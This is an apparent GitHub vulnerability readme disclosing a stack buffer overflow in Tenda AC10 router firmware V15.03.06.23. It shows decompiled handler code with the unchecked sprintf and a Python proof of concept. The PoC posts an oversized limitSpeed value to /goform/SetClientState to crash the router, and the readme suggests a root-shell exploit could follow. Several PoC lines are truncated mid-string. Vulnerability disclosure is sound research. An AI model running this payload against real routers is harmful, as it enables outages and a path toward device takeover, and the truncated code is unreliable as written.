

main

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IOT_Vul / Tenda / AC10 / formSetClientState / readme.md



z1r00 Update readme.md

History

1 contributor



64 lines (41 sloc) | 1.77 KB

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Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2734.html>

Affected version

AC10V1.0升级软件 V15.03.06.23

立即下载

关联产品: AC10 v2.0 更新日期: 2017/10/18

1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级,不同型号不能使用该软件,升级前请确定当前软件版本。

2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系[在线客服](#), 谢谢。

Vulnerability details

```
10 int rule_id[3]; // [sp+258h] [+258h] BYREF
11
12 memset(buff, 0, sizeof(buff));
13 memset(ret_buf, 0, sizeof(ret_buf));
14 dev_id = websGetVar(wp, "deviceId", byte_50CF54);
15 limit_en = websGetVar(wp, "limitEn", "0");
16 dl_speed = websGetVar(wp, "limitSpeed", "0");
17 ul_speed = websGetVar(wp, "limitSpeedUp", "0");
18 if ( dev_id )
19 {
20     if ( get_client_qosrule_id(dev_id, rule_id) == eRET_FAILURE_0 )
21     {
22         sprintf(ret_buf, "{\"errCode\":%d}", 1);
23         websTransfer(wp, ret_buf);
24     }
25     else
26     {
27         if ( atoi(limit_en) )
28         {
29             v3 = atoi(limit_en);
30             sprintf(buff, "%d;%s;%s;%s", v3, dev_id, ul_speed, dl_speed); // vuln overflow
31             if ( modify_add_qos_rule(rule_id[0], buff) == eRET_M1N_0 && CommitCfm() )
32                 doSystemCmd("cfm Post netctrl %d?op=%d", 15, 6);
33         }
34     }
35 }
```

/goform/SetClientState, The two variables ul_speed and dl_speed are user-controllable and will be spliced into the buff by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Poc

```
import socket
import os
```

```

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x300
p2 = b'limitEn=1&deviceId=a&limitSpeedUp=a&limitSpeed=' + p1

p3 = b"POST /goform/SetClientState" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b"Content-Type: application/x-www-form-urlencoded"+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)

```



You can see the router crash, and finally we can write an exp to get a root shell